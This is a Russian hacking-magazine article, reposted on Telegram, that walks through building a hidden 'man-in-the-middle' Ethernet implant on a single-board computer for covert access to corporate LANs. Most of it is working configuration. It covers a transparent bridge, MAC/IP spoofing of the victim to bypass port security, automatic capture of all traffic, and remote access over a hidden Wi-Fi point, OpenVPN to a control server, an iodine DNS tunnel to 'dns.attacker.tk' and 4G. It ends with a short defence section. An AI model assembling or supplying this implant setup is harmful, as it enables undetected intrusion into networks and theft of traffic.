Хакер - Девайс-невидимка. Встраиваемся в локальную сеть с помощью «невидимого» хакерского устройства

Хакер - Девайс-невидимка. Встраиваемся в локальную сеть с помощью «невидимого» хакерского устройства

hacker_frei

https://t.me/hacker_frei

s0i37

Содержание статьи

  • Реализация
  • Динамическая настройка сети
  • Статическая настройка сети
  • Port security
  • Пассивный сниффинг
  • Доступ по Wi-Fi
  • VPN access
  • Доступ через DNS-туннель
  • Доступ по 4G
  • Закрепление
  • L3-доступ
  • L2-доступ
  • Как защититься

По­лучить несан­кци­они­рован­ный дос­туп к чужому устрой­ству мож­но не толь­ко с исполь­зовани­ем USB-пор­тов, но и через Ethernet-соеди­нение, которых в сов­ремен­ных офи­сах пре­дос­таточ­но. В этой статье мы под­робно рас­ска­жем, как зло­умыш­ленни­ки могут проб­рать­ся в локаль­ную сеть с помощью спе­циаль­ного «невиди­мого» девай­са и как этот девайс устро­ен.

INFO

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак.

Сколь­ко раз ты замечал, что где‑то в пуб­личном мес­те сто­ит прин­тер, IP-телефон или даже пол­ноцен­ный компь­ютер? Все эти устрой­ства объ­еди­няет то, что они, как пра­вило, под­клю­чены к мес­тной локаль­ной сети уже зна­комой нам витой парой.

Прин­теры, IP-телефо­ны, ПК — вез­де могут быть незащи­щен­ные Ethernet-пор­ты

Что, если потен­циаль­ный зло­умыш­ленник вос­поль­зует­ся оставлен­ным без вни­мания сетевым пор­том и под­клю­чит вмес­то легитим­ного устрой­ства некий спе­циаль­ный девайс, который пре­дос­тавит ему уда­лен­ный дос­туп из любого угол­ка мира? При­чем под­клю­чит это хакер­ское устрой­ство не отклю­чая основное, а вкли­нив его «посере­дине».

Схе­ма информа­цион­ных потоков при зак­репле­нии через Ethernet-порт

В качес­тве такого готово­го устрой­ства мож­но исполь­зовать Packet Squirrel. Его нет­рудно соб­рать на базе одноплат­ного компь­юте­ра Rock Pi E.

Ап­парат­ное решение для зак­репле­ния через Ethernet

Пла­та иде­аль­но под­ходит под рас­смат­рива­емую задачу и не содер­жит ничего лиш­него: тут два Ethernet-пор­та, Wi-Fi и USB. Rock Pi E име­ет так­же опци­ональ­ную под­дер­жку PoE, что поз­волит исполь­зовать устрой­ство без питания по USB, которо­го может не ока­зать­ся в удоб­ном для под­клю­чения мес­те.

Нам пот­ребу­ется прог­рам­мный хаб, который будет в точ­ности копиро­вать каж­дый при­нятый пакет с одно­го Ethernet-пор­та на дру­гой. Тем самым он поз­волит вкли­нить­ся в сеть вне зависи­мос­ти от мес­та его под­клю­чения. Во вре­мя пересыл­ки пакетов с одно­го пор­та на дру­гой устрой­ство может выпол­нять любые дей­ствия так, что жер­тва ничего не заметит. Кро­ме того, кон­фигура­ция хаба дол­жна отве­чать сле­дующим тре­бова­ниям:

  • весь пересы­лаемый через устрой­ство тра­фик записы­вает­ся;
  • че­рез сеть, к которой под­клю­чает­ся устрой­ство, откры­вает­ся VPN-тун­нель до управля­юще­го сер­вера, обес­печивая дос­туп в эту сеть из любого угол­ка мира;
  • с исполь­зовани­ем DNS-эксфиль­тра­ции откры­вает­ся еще один VPN-тун­нель, даже если нет пря­мого выхода в интернет;
  • ус­трой­ство пре­дос­тавля­ет дос­туп в сеть через встро­енный Wi-Fi-адап­тер;
  • ус­трой­ство может вый­ти на связь через под­клю­чаемый 4G-модем.

И разуме­ется, все это дол­жно работать авто­мати­чес­ки, сра­зу пос­ле под­клю­чения устрой­ства, так как вре­мени на руч­ную нас­трой­ку у зло­умыш­ленни­ка может не быть. Для воз­можнос­ти физичес­кого под­клю­чения в любом мес­те мож­но исполь­зовать допол­нитель­ный патч‑корд.

Ап­парат­ная зак­ладка

РЕАЛИЗАЦИЯ

Нас­тро­ить одноплат­ный ПК таким обра­зом, что­бы он мог вкли­нить­ся в физичес­кое соеди­нение, не так уж и слож­но. Сна­чала нуж­но отклю­чить дефол­тные ком­понен­ты, которые могут нам помешать:

update-rc.d network-manager disable

update-rc.d dhcpcd disable

Те­перь необ­ходимо скон­фигури­ровать авто­мати­чес­кое объ­еди­нение интерфей­сов eth0 и eth1 в сетевой мост:

/etc/network/interfaces

iface eth0 inet manual

iface eth1 inet manual

auto br0

iface br0 inet dhcp

0 bridge_ports eth0 eth1

metric 2

Это минималь­ная кон­фигура­ция. Теперь аппа­рат­ная зак­ладка уже готова работать в режиме проз­рачно­го мос­та. Все, что при­дет на один Ethernet-порт, будет в точ­ности копиро­вать­ся на дру­гой порт, и наобо­рот. Но зло­умыш­ленни­ку не прос­то нуж­но пас­сивно переда­вать тра­фик через устрой­ство. Оно дол­жно еще как‑то пре­дос­тавить ему уда­лен­ный дос­туп. Для это­го сле­дует внес­ти необ­ходимые нас­трой­ки внут­ренней сети. В зависи­мос­ти от ситу­ации мож­но исполь­зовать раз­ные методы.

Динамическая настройка сети

Час­то ком­пании в сво­их сетях исполь­зуют авто­мати­чес­кую нас­трой­ку сети пос­редс­твом DHCP. Получив собс­твен­ный IP-адрес, устрой­ство будет не прос­то «глу­пым» хабом, оно смо­жет во вре­мя пересыл­ки пакетов еще и самос­тоятель­но работать в сети.

Пос­коль­ку зак­ладка под­клю­чает­ся на дли­тель­ное вре­мя, а сети могут «пере­езжать» на дру­гие VLAN’ы, в иде­але ата­кующе­му необ­ходимо сде­лать так, что­бы устрой­ство всег­да было готово обно­вить свои сетевые нас­трой­ки. Для это­го нуж­но про­писать при­нуди­тель­ное обновле­ние арен­ды IP-адре­са, а так­же регуляр­ный зап­рос к DHCP-сер­веру в слу­чае неуда­чи:

/etc/dhcp/dhclient.conf

send dhcp-lease-time 60;

retry 60;

Статическая настройка сети

Да­леко не всег­да в локаль­ных сетях при­сутс­тву­ет DHCP-сер­вер. Осо­бен­но это спра­вед­ливо, если зло­умыш­ленник проб­рался в сер­верный или даже тех­нологи­чес­кий сетевой сег­мент и помес­тил туда свою зак­ладку. В таком слу­чае он может заранее про­писать на устрой­стве нас­трой­ки сети:

/etc/network/interfaces

auto br0

iface br0 inet static

bridge_ports eth0 eth1

hwaddress ether 00:11:22:33:44:55

address 10.0.0.10

netmask 255.255.255.0

gateway 10.0.0.1

dns-nameservers 10.0.0.2

dns-search corp.local

metric 2

Port security

В кор­поратив­ных сетях на активном сетевом обо­рудо­вании час­то при­меня­ется дос­таточ­но прос­тая, но дей­ствен­ная защит­ная мера, ког­да дос­туп к сетевой розет­ке раз­решен толь­ко с опре­делен­ного MAC-адре­са. В таком слу­чае тра­фик от жер­твы все рав­но будет про­ходить, ведь bridge проз­рачно пересы­лает пакеты с ори­гиналь­ным MAC-адре­сом. Но дос­тупа в сеть непос­редс­твен­но с самого Packet Squirrel, исполь­зующе­го допол­нитель­ный IP-адрес, уже не получить.

Од­нако дан­ное устрой­ство одним кон­цом под­клю­чает­ся к ПК жер­твы, а зна­чит, оно зна­ет доверен­ный MAC-адрес. Сле­дова­тель­но, если в каж­дом исхо­дящем пакете от Packet Squirrel на одном пор­те испра­вить MAC-адрес отпра­вите­ля на MAC-адрес жер­твы, а на дру­гом — на MAC-адрес шлю­за, то пакеты ста­нут неот­личимы от легитим­ных.

Ре­али­зовать такую, на пер­вый взгляд, прос­тую кон­цепцию на деле не так‑то лег­ко, пос­коль­ку тре­бует­ся, что­бы устрой­ство одновре­мен­но с проз­рачной переда­чей тра­фика в обе сто­роны мог­ло и генери­ровать тра­фик от лица жер­твы. Добить­ся это­го мож­но было бы, нап­ример, так:

sudo ifconfig br0 hw ether "$victim_mac"

sudo ifconfig br0 "$victim_ip/24"

sudo route add -net default gw "$gw_ip"

Так реали­зует­ся прос­тое копиро­вание устрой­ством MAC- и IP-адре­са жер­твы. Но увы, в таком слу­чае ядро Packet Squirrel не смо­жет пересы­лать пакеты из‑за кон­флик­та оди­нако­вых MAC-адре­сов. Тре­бует­ся как‑то обма­нуть ядро. Мож­но не менять собс­твен­ный MAC-адрес устрой­ства, но под­менять MAC-адре­са поз­днее, ког­да пакеты уже сге­нери­рова­ны и «вылета­ют» из сетевой кар­ты:

sudo ifconfig br0 "$victim_ip/24"

sudo route add default gw "$gw_ip"

#gw direction

sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arp

sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)

#victim direction

sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arp

sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)

В такой кон­фигура­ции пакеты с одно­го сетево­го пор­та уйдут с MAC-адре­сом жер­твы, а с дру­гого — с MAC-адре­сом шлю­за. Но пакеты от жер­твы сквозь устрой­ство уже не прой­дут, ведь MAC-адрес при­нуди­тель­но сме­няет­ся еще и на вхо­дящих пакетах.

Зер­калиро­вание пакетов с помощью bridge в дан­ном слу­чае неудоб­но, пос­коль­ку обра­зует­ся один логичес­кий сетевой интерфейс (br0) на оба Ethernet-пор­та. Ата­кующе­му нуж­но иметь воз­можность отправ­лять пакеты незави­симо в каж­дый из сетевых интерфей­сов, но при этом не теряя воз­можнос­ти проз­рачно­го копиро­вания пакетов меж­ду интерфей­сами. Добить­ся это­го мож­но с помощью traffic control:

sudo ifconfig eth0 0 promisc up

sudo ifconfig eth1 0 promisc up

sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в сторону gw (LAN)

#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim

route add -net default gw "$gw_ip"

sudo tc qdisc add dev eth0 ingress

sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1

sudo tc qdisc add dev eth1 ingress

sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0

sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на входящие ICMP gw->victim

sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы не рвать соединения victim

С такими нас­трой­ками устрой­ство может вкли­нить­ся в легитим­ное физичес­кое под­клю­чение, проз­рачно зер­калируя тра­фик в обе сто­роны и отправ­ляя в это же самое вре­мя пакеты от име­ни жер­твы.

Не­види­мый режим зак­репле­ния через Ethernet

Это поз­волит зло­умыш­ленни­ку обой­ти защиту Port Security и вооб­ще стать пол­ностью невиди­мым в сети.

Пассивный сниффинг

Так как девайс может проз­рачно пересы­лать через себя тра­фик, нет­рудно орга­низо­вать его авто­мати­чес­кую запись:

/lib/systemd/system/tcpdump.service

[Unit]

Description=tcpdump

[Service]

ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

Ав­томати­чес­кий запуск записи тра­фика при заг­рузке мож­но реали­зовать через сер­вис:

systemctl enable tcpdump.service

systemctl start tcpdump.service

Пос­коль­ку записы­вает­ся весь тра­фик, дамп может быть весь­ма вну­шитель­ным. Поэто­му сох­ранять его луч­ше в допол­нитель­ный раз­дел на SD-кар­те:

/etc/fstab

/dev/mmcblk0p3 /media/sd ext3 defaults 0 0

Доступ по Wi-Fi

Так как рас­смат­рива­емое нами устрой­ство име­ет встро­енный Wi-Fi, его мож­но исполь­зовать для орга­низа­ции уда­лен­ного дос­тупа. Для это­го сетевые нас­трой­ки бес­про­вод­ной сети ука­зыва­ются в сле­дующем фай­ле:

/etc/network/interfaces

auto wlan0

iface wlan0 inet static

address 11.0.0.1

netmask 255.255.255.0

Нас­трой­ки бес­про­вод­ной сети для кли­ентов — в фай­ле

/etc/dnsmasq.conf

domain=packet_squirrel.local

interface=wlan0

dhcp-range=11.0.0.10,11.0.0.20,24h

dhcp-option=1,255.255.255.0

dhcp-option=3,11.0.0.1

И сама бес­про­вод­ная сеть нас­тра­ивает­ся так:

/etc/hostapd/hostapd.conf

interface=wlan0

driver=nl80211

ssid=packet squirrel

hw_mode=g

channel=1

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=3

wpa_key_mgmt=WPA-PSK

wpa_pairwise=CCMP

wpa_passphrase=s3cr3tP@ssw0rd

Ав­тозапуск все­го необ­ходимо­го для Wi-Fi:

systemctl unmask hostapd.service

systemctl enable hostapd.service

systemctl start hostapd.service

Пос­ле вклю­чения аппа­рат­ной зак­ладки ата­кующий может получить дос­туп в сеть, прос­то под­клю­чив­шись к устрой­ству по Wi-Fi. 

VPN access

Ата­кующий может сде­лать так, что­бы соз­данная им аппа­рат­ная зак­ладка выходи­ла на связь по VPN с некото­рым опор­ным сер­вером:

cp vds_config.ovpn /etc/openvpn/client/vds.conf

systemctl enable openvpn-client@vds

Кон­фигура­цион­ный файл при этом может быть сле­дующим:

client

proto tcp

dev tap

remote 1.2.3.4 1194

user nobody

<ca>

</ca>

<cert>

</cert>

<key>

</key>

route-noexec

cipher AES-128-CBC

keepalive 10 60

comp-lzo

persist-key

persist-tun

Ус­трой­ство будет пытать­ся вый­ти на связь с опор­ным сер­вером через текущую или внеш­нюю 4G-сеть (об этом рас­ска­жу чуть поз­же).

Доступ через DNS-туннель

В ряде слу­чаев из локаль­ной сети нет пря­мого дос­тупа в интернет и спо­соб, опи­сан­ный выше, может не сра­ботать. Одна­ко очень час­то резолв про­изволь­ных внеш­них DNS-зон раз­решен. Поэто­му VPN-канал может быть реали­зован с помощью обыч­ных DNS-зап­росов:

/lib/systemd/system/iodine.service

[Unit]

Description=iodine

[Service]

ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

Ав­тозапуск DNS-тун­неля обес­печива­ют сле­дующие коман­ды:

systemctl enable iodine.service

systemctl start iodine.service

Да­же если из внут­ренней сети нет пря­мого выхода в интернет, но есть раз­решение про­изволь­ных DNS-имен, устрой­ство пос­тро­ит VPN-тун­нель до опор­ного сер­вера, через который потен­циаль­ный зло­умыш­ленник получит обратный дос­туп в сеть. 

Доступ по 4G

Ус­трой­ство скон­фигури­рова­но так, что­бы зло­умыш­ленник мог получить дос­туп в интернет через точ­ку зак­репле­ния, пос­редс­твом обыч­ного TCP или DNS-тун­нелей. Но если же из локаль­ной сети сов­сем нет никако­го выхода в интернет, то может быть орга­низо­ван канал переда­чи дан­ных по незави­симо­му 4G через под­клю­чаемый внеш­ний USB-модем.

Внеш­ний канал эксфиль­тра­ции аппа­рат­ной зак­ладки

Ре­али­зовать это мож­но бук­валь­но в пару‑трой­ку строк в кон­фиге. Нуж­но добавить авто­запуск DHCP для сетево­го интерфей­са 4G-модема. Сов­ремен­ные HiLink-модемы опре­деля­ются как прос­тое Ethernet-устрой­ство, что мак­сималь­но облегча­ет нас­трой­ку:

/etc/network/interfaces

...

allow-hotplug eth2

auto eth2

iface eth2 inet dhcp

metric 1

Бла­года­ря дирек­тиве metric 1 мар­шрут 4G-интерфей­са будет при­ори­тет­нее мар­шру­та Ethernet-сети, и устрой­ство не потеря­ет выход в интернет при наличии двух дефол­тных мар­шру­тов.

По­дыто­жим. В каж­дом слу­чае Ethernet-backdoor пыта­ется вый­ти на связь через опор­ный выделен­ный сер­вер и пре­дос­тавля­ет зло­умыш­ленни­ку уда­лен­ный дос­туп во внут­реннюю сеть:

  • по VPN через текущую сеть;
  • по VPN, исполь­зуя DNS-эксфиль­тра­цию через текущую сеть;
  • по VPN через внеш­ний канал 4G;
  • че­рез Wi-Fi.

Те­перь устрой­ство пол­ностью нас­тро­ено и готово к работе в самых раз­ных ситу­ациях.

ЗАКРЕПЛЕНИЕ

Итак, зло­умыш­ленник находит оставлен­ный без прис­мотра компь­ютер и незамет­но под­клю­чает к нему свое устрой­ство.

Под­клю­чение «посере­дине» аппа­рат­ной зак­ладки меж­ду ПК и ком­мутато­ром

Да, компь­ютер на кар­тинке выше реаль­но не потеря­ет дос­тупа в сеть и даже не уви­дит про­межу­точ­ного узла. Rock Pi ста­нет проз­рачно пересы­лать тра­фик жер­твы и парал­лель­но откро­ет ата­кующе­му сетевой дос­туп в как в сто­рону компь­юте­ра жер­твы, так и в сто­рону локаль­ной сети.

Ап­парат­ную зак­ладку мож­но под­клю­чить где угод­но — от обыч­ного компь­юте­ра или прин­тера до сер­верной. Все зависит от того, куда успел получить дос­туп потен­циаль­ный зло­умыш­ленник. Неболь­шие раз­меры поз­воля­ют спря­тать аппа­рат­ный бэк­дор даже внут­ри дру­гого устрой­ства.

Под­клю­чение «посере­дине» аппа­рат­ной зак­ладки меж­ду IP-телефо­ном и ком­мутато­ром

Ап­парат­ную зак­ладку мож­но помес­тить даже внут­ри IP-телефо­на, рас­положен­ного в перего­вор­ке. Такие помеще­ния час­то быва­ют сво­бод­ными на корот­кое вре­мя, чем может вос­поль­зовать­ся потен­циаль­ный наруши­тель.

Кон­фигура­ция устрой­ства поз­воля­ет исполь­зовать девайс не толь­ко в модели «посере­дине». Его мож­но прос­то вклю­чить одним любым пор­том в сво­бод­ный Ethernet-порт для под­держа­ния уда­лен­ного дос­тупа.

Под­клю­чение аппа­рат­ной зак­ладки в сетевую розет­ку

Да­лее, исполь­зуя все воз­можные каналы дос­тупа (VPN, DNS, Wi-Fi, 4G), ата­кующий может уда­лен­но зай­ти на устрой­ство и уже с него получить дос­туп в сеть.

Для раз­вития даль­нейших атак зло­умыш­ленни­ку не нуж­но каж­дый раз раз­ворачи­вать на устрой­стве весь хакер­ский софт. Зак­ладка может быть лишь шлю­зом и прос­то пересы­лать пакеты от ата­кующе­го в сеть.

L3-доступ

Те­перь нас­тала пора рас­смот­реть, как подоб­ное устрой­ство может быть нас­тро­ено в режиме шлю­за, на котором орга­низо­ван прос­той L3-дос­туп в целевую сеть. Для это­го пот­ребу­ются толь­ко два ком­понен­та.

Пер­вый — это тран­зит пакетов. При вклю­чении этой опции ядра сетевые пакеты в соот­ветс­твии с мар­шру­тиза­цией смо­гут про­ходить с одно­го интерфей­са (VPN) на дру­гой (Ethernet):

/etc/sysctl.conf

net.ipv4.ip_forward=1

Вто­рое — это SNAT, выпол­няющий кор­ректи­ров­ку IP-адре­са отпра­вите­ля для пакетов, меня­ющих сетевой интерфейс. В дан­ном слу­чае иду­щих с VPN на Ethernet-пор­ты:

iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE

iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash

/sbin/iptables-restore < /etc/iptables.up.rules

Это дает ата­кующе­му чрез­вычай­но прос­той и удоб­ный дос­туп к сети, в которой помеще­на зак­ладка. Все, что тре­бует­ся на сто­роне ата­кующе­го, — прос­то добавить мар­шрут через Packet Squirrel.

route add -net 10.0.0.0/8 gw packet_squirrel

ping 10.10.10.10

По­луче­ние сетево­го дос­тупа в локаль­ную сеть, где помеще­на аппа­рат­ная зак­ладка

Те­лефон ата­кующе­го, никак не свя­зан­ный нап­рямую с ноут­буком жер­твы, под­клю­чен к еди­ной VPN-сети с Packet Squirrel. На телефо­не зада­ется мар­шрут с Packet Squirrel в качес­тве шлю­за, пос­ле чего ата­кующий получа­ет пря­мой сетевой дос­туп во внут­реннюю сеть.

Не­сом­ненно, для ата­кующе­го это чрез­вычай­но удоб­но, и этот метод может при­менять­ся как для скры­того получе­ния дос­тупа, так и для раз­вития даль­нейших атак. Но если говорить об ата­ках, то это лишь L3-дос­туп (сетевой уро­вень OSI), не дающий всех воз­можнос­тей в пла­не атак, пос­коль­ку зло­умыш­ленник не находит­ся во внут­ренней сети, а исполь­зует Packet Squirrel в качес­тве шлю­за. Что­бы ока­зать­ся непос­редс­твен­но в сетевом сег­менте и иметь воз­можность реали­зовать пол­ный арсе­нал атак, при­сущих Ethernet-сетям, от ARP до NetBIOS spoofing, ата­кующе­му пот­ребу­ется получить L2-дос­туп (каналь­ный уро­вень OSI).

L2-доступ

Что­бы получить пол­ноцен­ный L2-дос­туп в сетевой сег­мент, в который помеще­на зак­ладка, ата­кующе­му нуж­но соз­дать еще один допол­нитель­ный тун­нель. Самый прос­той спо­соб это сде­лать — вос­поль­зовать­ся SSH:

/etc/ssh/sshd_config

PermitRootLogin yes

PermitTunnel ethernet

Так как на устрой­стве Ethernet-интерфей­сы уже под­клю­чены в сетевом мос­те (br0), то ата­кующе­му оста­ется лишь добавить новый L2-интерфейс от SSH в этот мост:

sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any

packet_squirrel> brctl addif br0 tap1

packet_squirrel> ifconfig tap1 up

Се­тевой мост будет копиро­вать каж­дый сетевой пакет с Ethernet-интерфей­сов в этот вир­туаль­ный интерфейс. На уда­лен­ной сто­роне ата­кующе­го тоже появит­ся новый L2-интерфейс, на который будут при­ходить все дос­тупные Packet Squirrel пакеты и который будет для ата­кующе­го L2-пор­талом во внут­ренний сетевой сег­мент:

attacker> sudo ifconfig tap1 up

attacker> sudo dhclient tap1

Те­перь, ока­зав­шись непос­редс­твен­но в сетевом сег­менте с Packet Squirrel, зло­умыш­ленник может получить внут­ренний IP-адрес по DHCP. А может для боль­шей незамет­ности исполь­зовать IP-адрес жер­твы:

packet_squirrel> sudo ifconfig br0 0

attacker> sudo ifconfig tap1 $victim_ip/24

Ми­ниатюр­ное устрой­ство, спря­тан­ное где‑то в нед­рах кор­поратив­ной сети, за одним из сис­темни­ков, прин­теров в коридо­ре, IP-телефо­нов в перего­вор­ке или даже под тол­щей про­водов сер­верной, спо­соб­но скрыт­но от име­ни жер­твы (с ее MAC- и IP-адре­са) вза­имо­дей­ство­вать с узла­ми внут­ренней сети. Зло­умыш­ленник при этом может исполь­зовать внут­ренний IP-адрес сетево­го сег­мента локаль­ной сети, в то вре­мя как сам будет находить­ся где‑то очень далеко.

Во­обще, подоб­ное устрой­ство мож­но исполь­зовать и для уда­лен­ных внут­ренних пен­тестов, ког­да заказ­чик прос­то под­клю­чает подоб­ную коробоч­ку в нуж­ный сетевой сег­мент. И боль­ше никаких дей­ствий не тре­бует­ся — не при­дет­ся про­сить заказ­чика сог­ласовы­вать допус­ки, исполни­телям не понадо­бит­ся дол­го добирать­ся до мес­та или под­клю­чать­ся через неудоб­ные VPN.

КАК ЗАЩИТИТЬСЯ

Ис­поль­зование Port Security в чис­том виде не поз­волит зло­умыш­ленни­ку получить дос­туп к сво­бод­ной сетевой розет­ке, ведь он не будет знать нуж­ный MAC-адрес. Если задей­ство­вать еще и 802.1X, то у зло­умыш­ленни­ка не будет воз­можнос­ти и вкли­нить­ся посере­дине. Ведь в момент под­клю­чения Packet Squirrel пот­ребу­ется хоть и на корот­кое вре­мя, но разъ­еди­нить сеть, а тог­да пот­ребу­ется пов­торно аутен­тифици­ровать­ся.

Так­же мерой защиты может быть физичес­кий кон­троль над Ethernet-пор­тами и устрой­ства­ми в локаль­ной сети пред­при­ятия.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page